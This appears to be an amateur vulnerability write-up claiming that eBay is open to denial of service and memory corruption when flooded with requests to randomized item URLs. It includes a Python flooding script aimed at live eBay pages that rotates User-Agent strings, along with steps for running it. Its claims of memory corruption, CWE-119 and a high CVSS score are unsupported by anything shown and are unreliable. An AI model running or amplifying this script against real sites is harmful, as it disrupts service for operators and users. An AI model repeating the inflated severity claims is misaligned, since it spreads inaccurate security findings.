Tsunami

Vulnerability Overview:

Title: Directory Enumeration Leading to Potential Resource Exhaustion (DdoS) and Memory Corruption on eBay

Summary: I have identified a vulnerability on eBay that can lead to resource exhaustion, potential Denial of Service (DoS) attacks, and possibly minor memory corruption by making rapid and randomized requests to item URLs. By manipulating the last 12 digits in the URL of any item listing, an attacker can flood the server with requests, causing excessive load, and potentially impacting system integrity through memory corruption.

Steps to Reproduce:

1. Navigate to any eBay item listing and note the URL format, e.g., https://www.ebay.com/itm/305669110440.
2. Run the provided Python script (see below) to generate and send randomized requests to similar URLs by changing the last 12 digits.
3. Observe how the server handles these requests and whether it leads to increased response times, resource exhaustion, or system errors.

CWE IDs:

• CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion')
  • This CWE covers scenarios where an application allows unintentional or intentional resource exhaustion through excessive requests or other means.
• CWE-703: Improper Check or Handling of Exceptional Conditions
  • The server’s inability to handle a large number of incoming requests appropriately falls under this category.
• CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
  • This CWE covers scenarios that could lead to memory corruption or buffer overflow as a result of unexpected or excessive input.

CVSS Score:

Based on the information provided and the potential for minor memory corruption, a preliminary CVSS score estimation is as follows:

• CVSS Base Score: 8.2-8.8 (High-Critical)
  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): High (H)

Impact:

• Availability: High — The service could become significantly slower or unresponsive due to resource exhaustion.
• Integrity: Low — There is a potential for memory corruption, which could affect the integrity of the system, though this impact is considered limited.
• Confidentiality: Low - There is a low confidentiality risk due to a possible user information leak from server stress.
• Reputation: Potential damage to eBay’s reputation if the service is disrupted.
• User Experience: Users could experience poor performance, data corruption, or service outages.

Recommendations:

• Implement rate limiting on requests to similar URLs.
• Monitor and block requests with unusual patterns or excessive frequency.
• Validate and limit URL patterns to reduce the potential for resource exhaustion and memory corruption.

Python Script

The script below demonstrates how an attacker could exploit this vulnerability. It sends randomized requests to eBay item URLs, rapidly replacing the last 12 digits with random numbers. This can overwhelm the server, leading to potential resource exhaustion and memory corruption.

How to Use the Script:

1. Install Python and the requests library if not already installed (pip install requests).
2. Copy the script below into a .py file (e.g., ebay_ddos_test.py).
3. Run the script using the command python ebay_ddos_test.py.
4. The script will send up to 1000 requests per URL to simulate the attack.

Copy the script.

nano tsunami.py

python3 tsunami.py

import requests
import random
import time

# Define a list of random User-Agent strings
user_agents = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1"
]

def generate_random_url(base_url):
    # Generate a random 12-digit number
    random_digits = ''.join([str(random.randint(0, 9)) for _ in range(12)])
    # Replace the last 12 characters of the base URL
    return base_url[:-12] + random_digits

def perform_requests(base_url, num_requests=100):
    for i in range(num_requests):
        random_url = generate_random_url(base_url)
        headers = {
            "User-Agent": random.choice(user_agents)
        }
        try:
            response = requests.get(random_url, headers=headers)
            print(f"Request {i+1}: {random_url} - Status Code: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Request {i+1} failed: {e}")

if __name__ == "__main__":
    base_urls = [
        "https://www.ebay.com/itm/305669110440",
        "https://www.ebay.com/itm/305669110441",
        "https://www.ebay.com/itm/305669110430"
    ]
    
    for base_url in base_urls:
        print(f"Testing with base URL: {base_url}")
        perform_requests(base_url, num_requests=1000)
        print("\n")

Disclaimer: This script should only be run in a controlled environment where you have explicit permission to perform such tests. Misuse of this script on a live system without authorization could violate terms of service and be illegal. This can be beefed right out and cause quite a lot of damage or cost.